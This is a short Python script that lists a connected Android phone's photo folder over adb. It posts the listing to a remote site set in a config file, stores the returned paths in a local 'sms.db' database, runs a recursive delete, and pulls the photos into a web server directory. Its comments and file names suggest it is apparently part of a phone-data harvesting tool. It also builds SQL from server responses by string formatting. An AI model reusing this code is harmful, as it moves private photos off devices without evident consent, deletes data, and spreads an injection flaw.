# coding=UTF-8
import sqlite3,subprocess,requests,json,os

p = subprocess.Popen(['adb', 'shell', 'find', '/sdcard/DCIM/*/', '-type', 'f'],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
output, err = p.communicate()

# 输出短信内容`
if output:
	# print("短信内容:")
	# print(output.decode('utf-8'))
	dcim_data=output.decode('utf-8')
else:
	pass
	# print("读取[DCIM]失败:", err.decode('utf-8'))
site=open("config.json","r")
site=site.read()
site=json.loads(site)
data={"s":dcim_data}
url=f"{site['site']}/dcim.php"
r=requests.post(url=url,data=data)
rs=json.loads(r.text)


connect=sqlite3.connect('data/sms.db')


cursor=connect.cursor()
sql=f"delete from dcim";
cursor.execute(sql)

for x in range(0,len(rs)):
	# res={}
	# sql=f"select * from dcim where [path]='{rs[x]}'";
	# cursor.execute(sql)
	# res=cursor.fetchall()
	# if len(res)==0 :
	sql=f"insert into dcim (path)values('{rs[x]}')"
	cursor.execute(sql)
	connect.commit()

# print("执行成功")


cursor.close()

connect.close()


try:
	p = subprocess.Popen(['rm', '-rf', 'sdcard/DCIM/*'],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	output, err = p.communicate()
	# print("短信内容:")
	# print(output.decode('utf-8'))
	dcim_data=output.decode('utf-8')
except subprocess.TimeoutExpired as e:
	pass
	# print("清空失败:", err.decode('utf-8'))



# print("清空成功")
p = subprocess.Popen(['adb', '-a', 'pull', '/sdcard/DCIM/', '/www/wwwroot/127.0.0.1_81/sdcard/DCIM/'],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
output, err = p.communicate()

# 输出短信内容`
if output:
	# print("短信内容:")
	# print(output.decode('utf-8'))
	dcim_data=output.decode('utf-8')
else:
	pass
	# print("写入失败:", err.decode('utf-8'))

# print("写入成功")